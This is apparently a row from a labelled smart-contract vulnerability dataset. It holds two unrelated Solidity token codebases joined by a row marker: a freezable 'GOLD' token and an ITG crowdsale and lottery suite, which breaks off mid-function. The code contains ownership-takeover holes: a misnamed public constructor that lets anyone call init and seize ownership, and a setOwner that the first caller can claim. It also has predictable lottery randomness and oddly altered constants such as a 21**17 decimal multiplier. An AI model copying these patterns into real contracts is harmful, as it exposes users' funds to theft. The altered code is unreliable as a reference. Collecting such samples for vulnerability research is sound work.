function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 17;
uint8 constant TOKEN_DECIMALS_UINT8 = 17;
uint constant TOKEN_DECIMAL_MULTIPLIER = 21 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "GOLD";
string constant TOKEN_SYMBOL = "GOLD";
bool constant PAUSED = false;
address constant TARGET_USER = 0x8f71659fb57E6C6Be3Ab563D0dD45101235ae762;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract GOLD is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x8f71659fb57E6C6Be3Ab563D0dD45101235ae762)];
uint[1] memory amounts = [uint(100000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 2,721 |
pragma solidity ^0.4.15;
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SafeMath {
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x * y) >= x);
}
function div(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x >= y ? x : y;
}
}
contract DateTime {
struct DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) constant returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) constant returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) constant returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal returns (DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
dt.hour = getHour(timestamp);
}
function getYear(uint timestamp) constant returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) constant returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) constant returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
}
contract ITGTokenBase is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Authable {
address public owner;
address public executor;
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier onlyAuth(){
require(msg.sender == owner || msg.sender == executor);
_;
}
function setOwner(address _owner){
require(owner == 0x0 || owner == msg.sender);
owner = _owner;
}
function setExecutor(address exec) {
require(executor == 0x0 || owner == msg.sender || executor == msg.sender);
executor = exec;
}
}
contract CrowdSale is SafeMath, Authable {
struct SaleAttr{
uint amountRaisedTotal;
uint saleSupplyPre;
uint saleSupply1;
uint saleSupply2;
uint saleSupply3;
uint saleSupply4;
uint amountRaisedPre;
uint amountRaised1;
uint amountRaised2;
uint amountRaised3;
uint amountRaised4;
uint soldSupply2;
uint soldSupply4;
}
SaleAttr public s;
mapping(address => uint) public participantsForPreSale;
mapping(address => uint) public participantsFor1stSale;
mapping(address => uint) public participantsFor3rdSale;
event LogCustomSale(uint startTime, uint endTime, uint tokPerEth, uint supply);
struct SaleTimeAttr{
uint pstart;
uint pdeadline;
uint start;
uint deadline1;
uint deadline2;
uint deadline3;
uint deadline4;
}
SaleTimeAttr public t;
struct CustomSaleAttr{
uint start;
uint end;
uint tokenPerEth;
uint saleSupply;
uint soldSupply;
uint amountRaised;
}
CustomSaleAttr public cs;
mapping(uint => mapping(address => uint)) public participantsForCustomSale;
function setAttrs(uint supplyPre, uint supply1, uint supply2, uint supply3, uint supply4
, uint preStart, uint preEnd, uint start, uint end1, uint end2, uint end3, uint end4
) onlyAuth {
s.saleSupplyPre = supplyPre;
s.saleSupply1 = supply1;
s.saleSupply2 = supply2;
s.saleSupply3 = supply3;
s.saleSupply4 = supply4;
t.pstart = preStart;
t.pdeadline = preEnd;
t.start = start;
t.deadline1 = end1;
t.deadline2 = end2;
t.deadline3 = end3;
t.deadline4 = end4;
}
function setAttrCustom(uint startTime, uint endTime, uint tokPerEth, uint supply) onlyAuth {
cs.start = startTime;
cs.end = endTime;
cs.tokenPerEth = tokPerEth;
cs.saleSupply = supply;
cs.soldSupply = 0;
cs.amountRaised = 0;
LogCustomSale(startTime, endTime, tokPerEth, supply);
}
function process(address sender, uint sendValue) onlyOwner returns (uint tokenAmount) {
if(now > t.pstart && now <= t.pdeadline){
participantsForPreSale[sender] = add(participantsForPreSale[sender],sendValue);
s.amountRaisedPre = add(s.amountRaisedPre, sendValue);
}else if(now > t.start && now <= t.deadline1){
participantsFor1stSale[sender] = add(participantsFor1stSale[sender],sendValue);
s.amountRaised1 = add(s.amountRaised1, sendValue);
}else if(now > t.deadline1 && now <= t.deadline2 && s.soldSupply2 < s.saleSupply2){
tokenAmount = sendValue / (s.amountRaised1 / s.saleSupply1 * 120 / 100);
s.soldSupply2 = add(s.soldSupply2, tokenAmount);
s.amountRaised2 = add(s.amountRaised2, sendValue);
require(s.soldSupply2 < s.saleSupply2 * 105 / 100);
}else if(now > t.deadline2 && now <= t.deadline3){
participantsFor3rdSale[sender] = add(participantsFor3rdSale[sender],sendValue);
s.amountRaised3 = add(s.amountRaised3, sendValue);
}else if(now > t.deadline3 && now <= t.deadline4 && s.soldSupply4 < s.saleSupply4){
tokenAmount = sendValue / (s.amountRaised3 / s.saleSupply3 * 120 / 100);
s.soldSupply4 = add(s.soldSupply4, tokenAmount);
s.amountRaised4 = add(s.amountRaised4, sendValue);
require(s.soldSupply4 < s.saleSupply4 * 105 / 100);
}else if(now > cs.start && now <= cs.end && cs.soldSupply < cs.saleSupply){
if(cs.tokenPerEth > 0){
tokenAmount = sendValue * cs.tokenPerEth;
cs.soldSupply = add(cs.soldSupply, tokenAmount);
require(cs.soldSupply < cs.saleSupply * 105 / 100);
}else{
participantsForCustomSale[cs.start][sender] = add(participantsForCustomSale[cs.start][sender],sendValue);
cs.amountRaised = add(cs.amountRaised, sendValue);
}
}else{
throw;
}
s.amountRaisedTotal = add(s.amountRaisedTotal, sendValue);
}
function getToken(address sender) onlyOwner returns (uint tokenAmount){
if(now > t.pdeadline && participantsForPreSale[sender] != 0){
tokenAmount = add(tokenAmount,participantsForPreSale[sender] * s.saleSupplyPre / s.amountRaisedPre);
participantsForPreSale[sender] = 0;
}
if(now > t.deadline1 && participantsFor1stSale[sender] != 0){
tokenAmount = add(tokenAmount,participantsFor1stSale[sender] * s.saleSupply1 / s.amountRaised1);
participantsFor1stSale[sender] = 0;
}
if(now > t.deadline3 && participantsFor3rdSale[sender] != 0){
tokenAmount = add(tokenAmount,participantsFor3rdSale[sender] * s.saleSupply3 / s.amountRaised3);
participantsFor3rdSale[sender] = 0;
}
if(now > cs.end && participantsForCustomSale[cs.start][sender] != 0){
tokenAmount = add(tokenAmount,participantsForCustomSale[cs.start][sender] * cs.saleSupply / cs.amountRaised);
participantsForCustomSale[cs.start][sender] = 0;
}
}
}
contract Voting is SafeMath, Authable {
mapping(uint => uint) public voteRewardPerUnit;
mapping(uint => uint) public voteWeightUnit;
mapping(uint => uint) public voteStart;
mapping(uint => uint) public voteEnd;
mapping(uint => uint) public maxCandidateId;
mapping(uint => mapping(address => bool)) public voted;
mapping(uint => mapping(uint => uint)) public results;
event LogVoteInitiate(uint _voteId, uint _voteRewardPerUnit, uint _voteWeightUnit, uint _voteStart, uint _voteEnd, uint _maxCandidateId);
event LogVote(address voter, uint weight, uint voteId, uint candidateId, uint candidateValue);
function voteInitiate(uint _voteId, uint _voteRewardPerUnit, uint _voteWeightUnit, uint _voteStart, uint _voteEnd, uint _maxCandidateId) onlyOwner {
require(voteEnd[_voteId] == 0);
require(_voteEnd != 0);
voteRewardPerUnit[_voteId] = _voteRewardPerUnit;
voteWeightUnit[_voteId] = _voteWeightUnit;
voteStart[_voteId] = _voteStart;
voteEnd[_voteId] = _voteEnd;
maxCandidateId[_voteId] = _maxCandidateId;
LogVoteInitiate(_voteId, _voteRewardPerUnit, _voteWeightUnit, _voteStart, _voteEnd, _maxCandidateId);
}
function vote(address sender, uint holding, uint voteId, uint candidateId) onlyOwner returns (uint tokenAmount, uint lockUntil){
require(now > voteStart[voteId] && now <= voteEnd[voteId]);
require(maxCandidateId[voteId] >= candidateId);
require(holding >= voteRewardPerUnit[voteId]);
require(!voted[voteId][sender]);
uint weight = holding / voteWeightUnit[voteId];
results[voteId][candidateId] = add(results[voteId][candidateId], weight);
voted[voteId][sender] = true;
tokenAmount = weight * voteWeightUnit[voteId] * voteRewardPerUnit[voteId] / 100 / 100;
lockUntil = voteEnd[voteId];
LogVote(sender, weight, voteId, candidateId, results[voteId][candidateId]);
}
}
contract Games is SafeMath, DateTime, Authable {
enum GameTime { Hour, Month, Year, OutOfTime }
enum GameType { Range, Point}
struct Participant {
address sender;
uint value;
uint currency;
}
struct DateAttr{
uint currentYear;
uint gameStart;
uint gameEnd;
uint prevGameEnd;
}
DateAttr public d;
struct CommonAttr{
GameTime currentGameTimeType;
GameType gameType;
uint hourlyAmountEth;
uint monthlyAmountEth;
uint yearlyAmountEth;
uint charityAmountEth;
}
CommonAttr public c;
struct FundAmountStatusAttr{
uint hourlyStatusEth;
uint monthlyStatusEth;
uint yearlyStatusEth;
uint hourlyStatusTok;
uint monthlyStatusTok;
}
FundAmountStatusAttr public f;
struct PriceAttr{
uint bonusPerEth;
uint inGameTokPricePerEth;
uint inGameTokWinRatioMax;
uint inGameTokWinRatioMin;
uint currentInGameTokWinRatio;
uint hourlyMinParticipateRatio;
uint monthlyMinParticipateRatio;
uint yearlyMinParticipateRatio;
uint boostPrizeEth;
}
PriceAttr public p;
struct RangeGameAttr{
uint inTimeRange_H;
uint inTimeRange_M;
uint inTimeRange_Y;
}
RangeGameAttr public r;
Participant[] public participants;
mapping(uint256 => mapping(address => uint256)) public winners;
mapping(uint256 => mapping(address => uint256)) public tokTakers;
mapping(uint256 => uint256) public winPrizes;
mapping(uint256 => uint256) public tokPrizes;
event LogSelectWinner(uint rand, uint luckyNumber, address sender, uint reward, uint currency, uint amount);
function setPriceAttr(
GameType _gameType, uint _bonusPerEth, uint _inGameTokPricePerEth
, uint _inGameTokWinRatioMax, uint _inGameTokWinRatioMin, uint _currentInGameTokWinRatio
, uint _hourlyMinParticipateRatio, uint _monthlyMinParticipateRatio, uint _yearlyMinParticipateRatio, uint _boostPrizeEth
) onlyAuth {
c.gameType = _gameType;
p.bonusPerEth = _bonusPerEth;
p.inGameTokPricePerEth = _inGameTokPricePerEth;
p.inGameTokWinRatioMax = _inGameTokWinRatioMax;
p.inGameTokWinRatioMin = _inGameTokWinRatioMin;
p.currentInGameTokWinRatio = _currentInGameTokWinRatio;
p.hourlyMinParticipateRatio = _hourlyMinParticipateRatio;
p.monthlyMinParticipateRatio = _monthlyMinParticipateRatio;
p.yearlyMinParticipateRatio = _yearlyMinParticipateRatio;
p.boostPrizeEth = _boostPrizeEth;
}
function setRangeGameAttr(uint _inTimeRange_H, uint _inTimeRange_M, uint _inTimeRange_Y) onlyAuth {
r.inTimeRange_H = _inTimeRange_H;
r.inTimeRange_M = _inTimeRange_M;
r.inTimeRange_Y = _inTimeRange_Y;
}
modifier beforeRangeGame(){
require(now > d.gameStart && now <= d.gameEnd);
_;
}
modifier beforePointGame(){
refreshGameTime();
_;
}
function process(address sender, uint sendValue) onlyOwner {
if(c.gameType == GameType.Range){
RangeGameProcess(sender, sendValue);
}else if(c.gameType == GameType.Point){
PointGameProcess(sender, sendValue);
}
}
function processWithITG(address sender, uint tokenAmountToGame) onlyOwner {
if(c.gameType == GameType.Range){
RangeGameWithITG(sender, tokenAmountToGame);
}else if(c.gameType == GameType.Point){
PointGameWithITG(sender, tokenAmountToGame);
}
}
function RangeGameProcess(address sender, uint sendValue) private beforeRangeGame {
if(c.currentGameTimeType == GameTime.Year){
c.yearlyAmountEth = add(c.yearlyAmountEth, sendValue);
f.yearlyStatusEth = add(f.yearlyStatusEth, sendValue);
}else if(c.currentGameTimeType == GameTime.Month){
c.monthlyAmountEth = add(c.monthlyAmountEth, sendValue);
f.monthlyStatusEth = add(f.monthlyStatusEth, sendValue);
}else if(c.currentGameTimeType == GameTime.Hour){
c.hourlyAmountEth = add(c.hourlyAmountEth, sendValue);
f.hourlyStatusEth = add(f.hourlyStatusEth, sendValue);
}
participants.push(Participant(sender,sendValue,1));
if(p.bonusPerEth != 0){
tokTakers[d.currentYear][sender] = add(tokTakers[d.currentYear][sender], sendValue * p.bonusPerEth);
tokPrizes[d.currentYear] = add(tokPrizes[d.currentYear], sendValue * p.bonusPerEth);
}
}
function RangeGameWithITG(address sender, uint tokenAmountToGame) private beforeRangeGame {
require(c.currentGameTimeType != GameTime.Year);
if(c.currentGameTimeType == GameTime.Month){
f.monthlyStatusTok = add(f.monthlyStatusTok, tokenAmountToGame);
}else if(c.currentGameTimeType == GameTime.Hour){
f.hourlyStatusTok = add(f.hourlyStatusTok, tokenAmountToGame);
}
participants.push(Participant(sender,tokenAmountToGame,2));
}
function getTimeRangeInfo() private returns (GameTime, uint, uint, uint) {
uint nextTimeStamp;
uint nextYear;
uint nextMonth;
uint basis;
if(c.gameType == GameType.Range){
nextTimeStamp = now + r.inTimeRange_Y * 1 minutes + 1 hours;
nextYear = getYear(nextTimeStamp);
if(getYear(now - r.inTimeRange_Y * 1 minutes + 1 hours) != nextYear){
basis = nextTimeStamp - (nextTimeStamp % 1 days);
return (GameTime.Year, nextYear, basis - r.inTimeRange_Y * 1 minutes, basis + r.inTimeRange_Y * 1 minutes);
}
nextTimeStamp = now + r.inTimeRange_M * 1 minutes + 1 hours;
nextMonth = getMonth(nextTimeStamp);
if(getMonth(now - r.inTimeRange_M * 1 minutes + 1 hours) != nextMonth){
basis = nextTimeStamp - (nextTimeStamp % 1 days);
return (GameTime.Month, nextYear, basis - r.inTimeRange_M * 1 minutes, basis + r.inTimeRange_M * 1 minutes);
}
nextTimeStamp = now + r.inTimeRange_H * 1 minutes + 1 hours;
basis = nextTimeStamp - (nextTimeStamp % 1 hours);
return (GameTime.Hour, nextYear, basis - r.inTimeRange_H * 1 minutes, basis + r.inTimeRange_H * 1 minutes);
}else if(c.gameType == GameType.Point){
nextTimeStamp = now - (now % 1 hours) + 1 hours;
nextYear = getYear(nextTimeStamp);
if(getYear(now) != nextYear){
return (GameTime.Year, nextYear, 0, nextTimeStamp);
}
nextMonth = getMonth(nextTimeStamp);
if(getMonth(now) != nextMonth){
return (GameTime.Month, nextYear, 0, nextTimeStamp);
}
return (GameTime.Hour, nextYear, 0, nextTimeStamp);
}
}
function refreshGameTime() private {
(c.currentGameTimeType, d.currentYear, d.gameStart, d.gameEnd) = getTimeRangeInfo();
}
function gcFundAmount() private {
f.hourlyStatusEth = 0;
f.monthlyStatusEth = 0;
f.yearlyStatusEth = 0;
f.hourlyStatusTok = 0;
f.monthlyStatusTok = 0;
}
function selectWinner(uint rand) onlyOwner {
uint luckyNumber = participants.length * rand / 100000000;
uint rewardDiv100 = 0;
uint participateRatio = participants.length;
if(participateRatio != 0){
if(c.currentGameTimeType == GameTime.Year){
participateRatio = participateRatio > p.yearlyMinParticipateRatio?participateRatio:p.yearlyMinParticipateRatio;
}else if(c.currentGameTimeType == GameTime.Month){
participateRatio = participateRatio > p.monthlyMinParticipateRatio?participateRatio:p.monthlyMinParticipateRatio;
}else if(c.currentGameTimeType == GameTime.Hour){
participateRatio = participateRatio > p.hourlyMinParticipateRatio?participateRatio:p.hourlyMinParticipateRatio;
}
if(participants[luckyNumber].currency == 1){
rewardDiv100 = participants[luckyNumber].value * participateRatio * p.boostPrizeEth / 100 / 100;
if(p.currentInGameTokWinRatio < p.inGameTokWinRatioMax){
p.currentInGameTokWinRatio++;
}
}else if(participants[luckyNumber].currency == 2){
rewardDiv100 = (participants[luckyNumber].value / p.inGameTokPricePerEth * p.currentInGameTokWinRatio / 100) * participateRatio / 100;
if(p.currentInGameTokWinRatio > p.inGameTokWinRatioMin){
p.currentInGameTokWinRatio--;
}
}
if(c.currentGameTimeType == GameTime.Year){
if(c.yearlyAmountEth >= rewardDiv100*104){
c.yearlyAmountEth = sub(c.yearlyAmountEth, rewardDiv100*104);
}else{
rewardDiv100 = c.yearlyAmountEth / 104;
c.yearlyAmountEth = 0;
}
}else if(c.currentGameTimeType == GameTime.Month){
if(c.monthlyAmountEth >= rewardDiv100*107){
c.monthlyAmountEth = sub(c.monthlyAmountEth, rewardDiv100*107);
}else{
rewardDiv100 = c.monthlyAmountEth / 107;
c.monthlyAmountEth = 0;
}
c.yearlyAmountEth = add(c.yearlyAmountEth,rewardDiv100 * 3);
}else if(c.currentGameTimeType == GameTime.Hour){
if(c.hourlyAmountEth >= rewardDiv100*110){
c.hourlyAmountEth = sub(c.hourlyAmountEth, rewardDiv100*110);
}else{
rewardDiv100 = c.hourlyAmountEth / 110;
c.hourlyAmountEth = 0;
}
c.monthlyAmountEth = add(c.monthlyAmountEth,rewardDiv100 * 3);
c.yearlyAmountEth = add(c.yearlyAmountEth,rewardDiv100 * 3);
}
c.charityAmountEth = add(c.charityAmountEth,rewardDiv100 * 4);
winners[d.currentYear][participants[luckyNumber].sender] = add(winners[d.currentYear][participants[luckyNumber].sender],rewardDiv100*100);
winPrizes[d.currentYear] = add(winPrizes[d.currentYear],rewardDiv100*100);
LogSelectWinner(rand, luckyNumber, participants[luckyNumber].sender, rewardDiv100*100, participants[luckyNumber].currency, participants[luckyNumber].value);
participants.length = 0;
}
if(c.gameType == GameType.Range){
refreshGameTime();
}
gcFundAmount();
}
function getPrize(address sender) onlyOwner returns (uint ethPrize, uint tokPrize) {
ethPrize = add(winners[d.currentYear][sender],winners[d.currentYear-1][sender]);
tokPrize = add(tokTakers[d.currentYear][sender],tokTakers[d.currentYear-1][sender]);
winPrizes[d.currentYear] = sub(winPrizes[d.currentYear],winners[d.currentYear][sender]);
tokPrizes[d.currentYear] = sub(tokPrizes[d.currentYear],tokTakers[d.currentYear][sender]);
winners[d.currentYear][sender] = 0;
tokTakers[d.currentYear][sender] = 0;
winPrizes[d.currentYear-1] = sub(winPrizes[d.currentYear-1],winners[d.currentYear-1][sender]);
tokPrizes[d.currentYear-1] = sub(tokPrizes[d.currentYear-1],tokTakers[d.currentYear-1][sender]);
winners[d.currentYear-1][sender] = 0;
tokTakers[d.currentYear-1][sender] = 0;
}
function PointGameProcess(address sender, uint sendValue) private beforePointGame {
if(c.currentGameTimeType == GameTime.Year){
c.yearlyAmountEth = add(c.yearlyAmountEth, sendValue);
f.yearlyStatusEth = add(f.yearlyStatusEth, sendValue);
}else if(c.currentGameTimeType == GameTime.Month){
c.monthlyAmountEth = add(c.monthlyAmountEth, sendValue);
f.monthlyStatusEth = add(f.monthlyStatusEth, sendValue);
}else if(c.currentGameTimeType == GameTime.Hour){
c.hourlyAmountEth = add(c.hourlyAmountEth, sendValue);
f.hourlyStatusEth = add(f.hourlyStatusEth, sendValue);
}
PointGameParticipate(sender, sendValue, 1);
if(p.bonusPerEth != 0){
tokTakers[d.currentYear][sender] = add(tokTakers[d.currentYear][sender], sendValue * p.bonusPerEth);
tokPrizes[d.currentYear] = add(tokPrizes[d.currentYear], sendValue * p.bonusPerEth);
}
}
function PointGameWithITG(address sender, uint tokenAmountToGame) private beforePointGame {
require(c.currentGameTimeType != GameTime.Year);
if(c.currentGameTimeType == GameTime.Month){
f.monthlyStatusTok = add(f.monthlyStatusTok, tokenAmountToGame);
}else if(c.currentGameTimeType == GameTime.Hour){
f.hourlyStatusTok = add(f.hourlyStatusTok, tokenAmountToGame);
}
PointGameParticipate(sender, tokenAmountToGame, 2);
}
function PointGameParticipate(address sender, uint sendValue, uint currency) private {
if(d.prevGameEnd != d.gameEnd){
selectWinner(1);
}
participants.length = 0;
participants.push(Participant(sender,sendValue,currency));
d.prevGameEnd = d.gameEnd;
}
function lossToCharity(uint year) onlyOwner returns (uint amt) {
require(year < d.currentYear-1);
amt = winPrizes[year];
tokPrizes[year] = 0;
winPrizes[year] = 0;
}
function charityAmtToCharity() onlyOwner returns (uint amt) {
amt = c.charityAmountEth;
c.charityAmountEth = 0;
}
function distributeTokenSale(uint hour, uint month, uint year, uint charity) onlyOwner{
c.hourlyAmountEth = add(c.hourlyAmountEth, hour);
c.monthlyAmountEth = add(c.monthlyAmountEth, month);
c.yearlyAmountEth = add(c.yearlyAmountEth, year);
c.charityAmountEth = add(c.charityAmountEth, charity);
}
}
contract ITGToken is ITGTokenBase, Authable {
bytes32 public symbol = "ITG";
uint256 public decimals = 18;
bytes32 public name = "ITG";
enum Status { CrowdSale, Game, Pause }
Status public status;
CrowdSale crowdSale;
Games games;
Voting voting;
mapping(address => uint) public withdrawRestriction;
uint public minEtherParticipate;
uint public minTokParticipate;
event LogFundTransfer(address sender, address to, uint amount, uint8 currency);
modifier beforeTransfer(){
require(withdrawRestriction[msg.sender] < now);
_;
}
function transfer(address _to, uint _value) beforeTransfer returns (bool success) {
balances[msg.sender] = sub(balances[msg.sender], _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) beforeTransfer returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = add(balances[_to], _value);
balances[_from] = sub(balances[_from], _value);
allowed[_from][msg.sender] = sub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function ITGToken() {
owner = msg.sender;
totalSupply = 100000000 * 1 ether;
balances[msg.sender] = totalSupply;
status = Status.Pause;
}
function () payable {
if(msg.value < minEtherParticipate){
throw;
}
if(status == Status.CrowdSale){
LogFundTransfer(msg.sender, 0x0, msg.value, 1);
itgTokenTransfer(crowdSale.process(msg.sender,msg.value),true);
}else if(status == Status.Game){
LogFundTransfer(msg.sender, 0x0, msg.value, 1);
games.process(msg.sender, msg.value);
